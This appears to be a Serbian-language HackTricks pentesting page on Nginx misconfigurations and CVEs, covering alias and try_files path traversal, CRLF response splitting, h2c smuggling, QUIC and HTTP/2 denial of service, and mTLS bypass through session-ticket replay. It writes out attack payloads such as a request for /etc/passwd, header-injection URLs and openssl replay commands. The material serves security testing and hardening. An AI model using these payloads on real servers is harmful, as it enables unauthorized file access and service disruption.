Nginx

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Nedostajuća root location

Prilikom konfigurisanja Nginx servera, root directive ima ključnu ulogu jer definiše osnovni direktorijum iz kog se serviraju fajlovi. Razmotrite sledeći primer:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

U ovoj konfiguraciji, /etc/nginx je označen kao root direktorijum. Ova postavka omogućava pristup fajlovima unutar navedenog root direktorijuma, kao što je /hello.txt. Međutim, važno je napomenuti da je definisana samo specifična lokacija (/hello.txt). Ne postoji konfiguracija za root lokaciju (location / {...}). Ovo izostavljanje znači da se root direktiva primenjuje globalno, omogućavajući zahtevima ka root putanji / da pristupe fajlovima pod /etc/nginx.

Od ove konfiguracije proizilazi kritičan sigurnosni rizik. Jednostavan GET zahtev, kao GET /nginx.conf, mogao bi otkriti osetljive informacije posluživši Nginx konfiguracioni fajl koji se nalazi na /etc/nginx/nginx.conf. Postavljanje root-a na manje osetljiv direktorijum, poput /etc, može ublažiti ovaj rizik, ali i dalje može dozvoliti neželjeni pristup drugim kritičnim fajlovima, uključujući druge konfiguracione fajlove, access logs i čak enkriptovane kredencijale koji se koriste za HTTP basic authentication.

Alias LFI pogrešna konfiguracija

U konfiguracionim fajlovima Nginx-a potrebno je pažljivo pregledati “location” direktive. Ranljivost poznata kao Local File Inclusion (LFI) može se nenamerno uvući kroz konfiguraciju koja izgleda otprilike ovako:

location /imgs {
alias /path/images/;
}

Ova konfiguracija je podložna LFI napadima zato što server interpretira zahteve kao /imgs../flag.txt kao pokušaj pristupa fajlovima izvan predviđenog direktorijuma, efektivno rešavajući na /path/images/../flag.txt. Ovaj propust omogućava napadačima da preuzmu fajlove sa fajl-sistema servera koji ne bi trebalo da budu dostupni putem weba.

Da bi se ublažila ova ranjivost, konfiguracija treba biti izmenjena kako sledi:

location /imgs/ {
alias /path/images/;
}

Više informacija: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix testovi:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Unsafe path restriction

Pogledajte sledeću stranicu da biste saznali kako zaobići direktive poput:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Neodgovarajuće korišćenje promenljivih / HTTP Request Splitting

Caution

Ranljive promenljive $uri i $document_uri i ovo se može popraviti zamenom sa $request_uri.

Regex takođe može biti ranjiv, na primer:

location ~ /docs/([^/])? { … $1 … } - Ranjiv

location ~ /docs/([^/\s])? { … $1 … } - Nije ranjiv (provera razmaka)

location ~ /docs/(.*)? { … $1 … } - Nije ranjiv

Ranljivost u Nginx konfiguraciji prikazana je u sledećem primeru:

location / {
return 302 https://example.com$uri;
}

Karakteri \r (Carriage Return) i \n (Line Feed) označavaju znake novog reda u HTTP zahtevima, a njihove URL-enkodirane forme su predstavljene kao %0d%0a. Uključivanje ovih karaktera u zahtev (npr., http://localhost/%0d%0aDetectify:%20clrf) ka pogrešno konfigurisnom serveru dovodi do toga da server izda novi header nazvan Detectify. Ovo se dešava zato što promenljiva $uri dekodira URL-enkodirane znakove novog reda, što dovodi do neočekivanog header-a u odgovoru:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Saznajte više o rizicima CRLF injection i response splitting na https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Takođe, ova tehnika je objašnjena u ovom predavanju sa nekoliko ranjivih primera i mehanizmima detekcije. Na primer, da biste otkrili ovu pogrešnu konfiguraciju iz blackbox perspektive, mogli biste poslati sledeće zahteve:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Ako je ranjiv, prvi će vratiti bilo koji HTTP kod jer je “X” neka HTTP metoda, dok će drugi vratiti grešku jer H nije važeća metoda. Dakle, server će primiti nešto poput: GET / H HTTP/1.1 i to će izazvati grešku.

Drugi primeri detekcije bi bili:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Neke ranjive konfiguracije prikazane u tom predavanju su bile:

  • Obratite pažnju kako $uri ostaje neizmenjen u finalnom URL-u
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Primetite kako je ponovo $uri u URL-u (ovog puta unutar parametra)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Sada u AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Bilo koja varijabla

Otkriveno je da se korisnički dostavljeni podaci mogu tretirati kao Nginx varijablu u određenim okolnostima. Uzrok ovog ponašanja je donekle nejasan, ali nije retko niti jednostavno za proveru. Ova anomalija je istaknuta u izveštaju o bezbednosti na HackerOne, koji se može pogledati here. Daljom pretragom poruke o grešci identifikovano je da se pojavljuje unutar SSI filter module of Nginx’s codebase, što ukazuje na Server Side Includes (SSI) kao osnovni uzrok.

Da biste otkrili ovu pogrešnu konfiguraciju, možete izvršiti sledeću komandu, koja uključuje postavljanje referer header-a da biste testirali ispis varijable:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Skeniranja zbog ove pogrešne konfiguracije na različitim sistemima otkrila su više slučajeva u kojima su Nginx varijable mogle biti prikazane korisniku. Međutim, smanjenje broja ranjivih instanci sugeriše da su napori da se ovaj problem zakrpi delimično uspešni.

Korišćenje try_files sa $URI$ARGS varijablama

Sledeća Nginx pogrešna konfiguracija može dovesti do LFI ranjivosti:

location / {
try_files $uri$args $uri$args/ /index.html;
}

U našoj konfiguraciji imamo direktivu try_files koja se koristi za proveru postojanja fajlova u zadatom redosledu. Nginx će poslužiti prvi fajl koji pronađe. Osnovna sintaksa direktive try_files je sledeća:

try_files file1 file2 ... fileN fallback;

Nginx će proveriti postojanje svake datoteke u navedenom redosledu. Ako datoteka postoji, biće odmah poslužena. Ako nijedna od navedenih datoteka ne postoji, zahtev će biti prosleđen fallback opciji, koja može biti drugi URI ili određena stranica greške.

Međutim, kada se u ovoj direktivi koriste promenljive $uri$args, Nginx će pokušati da potraži datoteku koja odgovara request URI-ju kombinovanom sa bilo kojim argumentima query string-a. Zbog toga možemo iskoristiti ovu konfiguraciju:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Sa sledećim payloadom:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Korišćenjem našeg payload-a pobegnućemo iz root direktorijuma (definisanog u Nginx konfiguraciji) i učitati fajl /etc/passwd. U debug logovima možemo da vidimo kako Nginx pokušava fajlove:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC protiv Nginx-a koristeći gore pomenutu konfiguraciju: Example burp request

Čitanje sirovih odgovora backend-a

Nginx nudi funkcionalnost putem proxy_pass koja omogućava presretanje grešaka i HTTP headera koje generiše backend, sa ciljem sakrivanja internih poruka o greškama i headera. Ovo se postiže tako što Nginx servira prilagođene error stranice kao odgovor na greške backend-a. Međutim, problem nastaje kada Nginx primi nevažeći HTTP zahtev. Takav zahtev se dalje prosleđuje backend-u onako kako je primljen, a sirovi odgovor backend-a se potom direktno šalje klijentu bez Nginx-ove intervencije.

Razmotrite primer scenarija koji uključuje uWSGI aplikaciju:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Za upravljanje ovim koriste se specifične direktive u Nginx konfiguraciji:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Ova direktiva omogućava Nginx-u da posluži prilagođeni odgovor za odgovore backend-a sa status kodom većim od 300. To obezbeđuje da, za naš primer uWSGI aplikacije, 500 Error odgovor bude presretnut i obrađen od strane Nginx-a.
  • proxy_hide_header: Kao što ime sugeriše, ova direktiva skriva određena HTTP zaglavlja od klijenta, povećavajući privatnost i bezbednost.

Kada se pošalje validan GET zahtev, Nginx ga obrađuje normalno i vraća standardni error odgovor bez otkrivanja tajnih zaglavlja. Međutim, nevalidan HTTP zahtev zaobilazi ovaj mehanizam, što dovodi do izlaganja sirovih odgovora backend-a, uključujući tajna zaglavlja i poruke o grešci.

merge_slashes set to off

Po defaultu, Nginx-ova merge_slashes directive je postavljena na on, što kompresuje višestruke kosa crte u URL-u u jednu. Ova funkcija, iako pojednostavljuje obradu URL-a, može nenamerno prikriti ranjivosti u aplikacijama iza Nginx-a, naročito one podložne local file inclusion (LFI) napadima. Bezbednosni stručnjaci Danny Robinson and Rotem Bar su istakli potencijalne rizike povezane sa ovim podrazumevanim ponašanjem, posebno kada Nginx radi kao reverse-proxy.

Da bi se ublažili takvi rizici, preporučuje se da se isključi merge_slashes direktiva za aplikacije podložne ovim ranjivostima. Ovo osigurava da Nginx prosledi zahteve aplikaciji bez menjanja strukture URL-a, te time ne maskira eventualne sigurnosne probleme.

For more information check Danny Robinson and Rotem Bar.

Maclicious Response Headers

As shown in this writeup, there are certain headers that if present in the response from the web server they will change the behaviour of the Nginx proxy. You can check them in the docs:

  • X-Accel-Redirect: Navodi Nginx da interno preusmeri zahtev na određenu lokaciju.
  • X-Accel-Buffering: Kontroliše da li Nginx treba da bufferuje odgovor ili ne.
  • X-Accel-Charset: Postavlja skup karaktera za odgovor kod korišćenja X-Accel-Redirect.
  • X-Accel-Expires: Postavlja vreme isteka odgovora kod korišćenja X-Accel-Redirect.
  • X-Accel-Limit-Rate: Ograničava brzinu prenosa odgovora kod korišćenja X-Accel-Redirect.

For example, the header X-Accel-Redirect will cause an internal redirect in the nginx. So having an nginx configuration with something such as root / and a response from the web server with X-Accel-Redirect: .env will make nginx sends the content of /.env (Path Traversal).

Default Value in Map Directive

U Nginx configuration, the map directive often plays a role in authorization control. A common mistake is not specifying a default value, which could lead to unauthorized access. For instance:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Bez default, zlonamerni korisnik može zaobići bezbednost pristupom neodređenom URI unutar /map-poc. The Nginx manual savetuje postavljanje podrazumevane vrednosti da bi se izbegli takvi problemi.

DNS Spoofing Ranjivost

DNS spoofing protiv Nginx-a je izvodljivo pod određenim uslovima. Ako napadač zna DNS server koji koristi Nginx i može presresti njegove DNS upite, može falsifikovati DNS zapise. Međutim, ova metoda je neefikasna ako je Nginx konfigurisan da koristi localhost (127.0.0.1) za DNS rezoluciju. Nginx dozvoljava specificiranje DNS servera na sledeći način:

resolver 8.8.8.8;

proxy_pass i internal direktive

Direktiva proxy_pass se koristi za preusmeravanje zahteva ka drugim serverima, bilo interno ili eksterno. Direktiva internal osigurava da su određene lokacije dostupne samo unutar Nginx-a. Iako same po sebi ove direktive nisu ranjivosti, njihova konfiguracija zahteva pažljivu proveru kako bi se sprečile bezbednosne propuste.

proxy_set_header Upgrade & Connection

Ako je nginx server konfigurisan da prosleđuje Upgrade i Connection zaglavlja, može se izvesti h2c Smuggling attack kako bi se pristupilo zaštićenim/unutrašnjim endpoint-ima.

Caution

Ova ranjivost bi omogućila napadaču da uspostavi direktnu vezu sa proxy_pass endpoint-om (http://backend:9999 u ovom slučaju) čiji sadržaj nginx neće proveravati.

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Imajte na umu da čak i ako proxy_pass pokazuje na specifičnu path kao što je http://backend:9999/socket.io konekcija će biti uspostavljena sa http://backend:9999 tako da možete contact any other path inside that internal endpoint. So it doesn’t matter if a path is specified in the URL of proxy_pass.

HTTP/3 QUIC modul udaljeni DoS & leak (2024)

Tokom 2024. Nginx je objavio CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 и CVE-2024-35200, pokazujući da single hostile QUIC session može crash worker processes or leak memory kad je eksperimentalni ngx_http_v3_module kompajliran i izložen je listen ... quic socket. Pogođene verzije su 1.25.0–1.25.5 i 1.26.0, dok 1.27.0/1.26.1 sadrže ispravke; memory disclosure (CVE-2024-34161) dodatno zahteva MTUs veće od 4096 bajtova da bi se otkrili osetljivi podaci (detalji u 2024 nginx advisory navedenom dole).

Recon & exploitation hints

  • HTTP/3 je opt-in, pa skenirajte za Alt-Svc: h3=":443" odgovore ili brute-force UDP/443 QUIC handshakes; nakon potvrde, fuzz handshake i STREAM frame-ove sa custom quiche-client/nghttp3 payloadima da biste izazvali worker crashes i naterali curenje logova.
  • Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

Zaobilaženje obnove TLS sesije kod autentifikacije klijentskog sertifikata (CVE-2025-23419)

U februaru 2025. objavljeno je upozorenje da nginx 1.11.4–1.27.3 kompajliran sa OpenSSL omogućava ponovnu upotrebu TLS 1.3 sesije sa jednog virtualnog hosta zasnovanog na imenu unutar drugog, tako da klijent koji je inicijalno pregovarao host bez sertifikata može ponovo poslati ticket/PSK da bi prešao u vhost zaštićen sa ssl_verify_client on; i u potpunosti zaobišao mTLS. Bag se aktivira kad više virtualnih hostova deli isti TLS 1.3 session cache i tickets (pogledati 2025 nginx advisory referenced below).

Plan napadača

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Ako je cilj ranjiv, drugi handshake se dovrši bez predstavljanja klijentskog sertifikata, otkrivajući zaštićene lokacije.

Šta proveriti

  • Mešani server_name blokovi koji dele ssl_session_cache shared:SSL plus ssl_session_tickets on;.
  • Admin/API blokovi koji očekuju mTLS ali nasleđuju podešavanja zajedničke session cache/ticket od javnih hostova.
  • Automatizacija koja omogućava TLS 1.3 session resumption globalno (npr. Ansible roles) bez razmatranja izolacije vhost-a.

Otpornost na HTTP/2 Rapid Reset (ponašanje CVE-2023-44487)

The HTTP/2 Rapid Reset attack (CVE-2023-44487) i dalje utiče na nginx kada operatori povećaju keepalive_requests ili http2_max_concurrent_streams iznad podrazumevanih vrednosti: napadač otvori jednu HTTP/2 vezu, preplavi je hiljadama stream-ova, zatim odmah šalje RST_STREAM frejmove tako da plafon konkurentnosti nikada nije dostignut dok CPU nastavlja da troši resurse na logiku zatvaranja. Nginx defaults (128 concurrent streams, 1000 keepalive requests) drže opseg štete malim; značajno povećanje tih granica čini trivijalnim da se radnici ostave bez resursa čak i od jednog klijenta (pogledati F5 write-up pomenut dole).

Saveti za detekciju

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Hostovi koji otkrivaju nenormalno visoke vrednosti tih direktiva su idealne mete: jedan HTTP/2 klijent može petljati kroz kreiranje streamova i instant RST_STREAM frejmove da drži CPU maksimalno opterećenim bez aktiviranja ograničenja istovremenosti.

Probajte sami

Detectify je napravio GitHub repozitorijum gde možete koristiti Docker da podignete sopstveni ranjivi Nginx test server sa nekim od konfiguracionih grešaka opisanih u ovom članku i pokušate da ih pronađete sami!

https://github.com/detectify/vulnerable-nginx

Alati za statičku analizu

GIXY

Gixy je alat za analizu Nginx konfiguracije. Glavni cilj Gixy-ja je sprečavanje sigurnosnih konfiguracionih grešaka i automatizacija detekcije propusta.

Nginxpwner

Nginxpwner je jednostavan alat za pronalaženje uobičajenih Nginx konfiguracionih grešaka i ranjivosti.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks